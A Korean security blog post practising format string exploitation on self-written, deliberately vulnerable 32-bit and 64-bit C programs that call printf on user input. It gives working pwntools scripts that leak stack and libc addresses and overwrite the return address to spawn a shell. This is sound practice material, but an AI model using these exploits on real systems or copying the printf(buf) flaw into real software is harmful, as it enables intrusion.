FSB(32bit, 64bit) 연습(feat.mytool)
by St1tchFSB예제
32bit
//gcc fsb32.c -o fsb32 -m32 -mpreferred-stack-boundary=2 #include <stdio.h> #include <string.h> int main(int argc, char **argv){ char buf[128] = {0, } ; int ret_addr = (int)buf ; for(int i = 0 ; i < 2 ; i++){ fgets(buf, 128, stdin) ; printf(buf) ; memset(buf, 0, 128) ; } return 0 ; }
64bit
//gcc fsb64.c -o fsb64 -mpreferred-stack-boundary=4 #include <stdio.h> #include <string.h> int main(int argc, char **argv){ char buf[1024] = {0, } ; long long ret_addr = (long long)buf ; for(int i = 0 ; i < 2 ; i++){ fgets(buf, 1024, stdin) ; printf(buf) ; memset(buf, 0, 1024) ; } return 0 ; }
일부러 연습을 위해서 return주소를 릭하기 쉽게 스택에 박아두었다.
그리고 trigger를 쉽게하기 위해 2번의 fsb공격을 할 수 있게 하여서 연습했다.(leak + overwrite)
사실 연습이라기 보다는 내가 만든 fsb payload함수 기능을 점검한다고 연습겸 확인겸 짰다.
32bit exploit
from pwn import * import stitch iint = lambda x : int(x, 16) s = process('./fsb32') #first pay = '%3$x,%39$x' s.sendline(pay) ret_addr, main_ret = map(iint, s.recvline().split(',')[:2]) ret_addr += 140 #find libc libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0] system = main_ret - libc['main_ret'] + libc['system'] binsh = main_ret - libc['main_ret'] + libc['binsh'] #second pay = stitch.fsb(4, {ret_addr:system, ret_addr+8:binsh}, 0) s.sendline(pay) s.interactive()
64bit exploit
from pwn import * import stitch iint = lambda x : int(x, 16) s = process('./fsb64') #first pay = '%9$llx,%141$llx' s.sendline(pay) #find libc tmp = s.recvline() ret_addr, main_ret = map(iint, tmp.split(',')[:2]) ret_addr += 1048 libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0] system = main_ret - libc['main_ret'] + libc['system'] binsh = main_ret - libc['main_ret'] + libc['binsh'] poprdi_ret = main_ret - libc['main_ret'] + libc['poprdi_ret'] #second pay = stitch.fsb64(10, {ret_addr:poprdi_ret, ret_addr+8:binsh, ret_addr+16:system}, 0) s.sendline(pay) s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch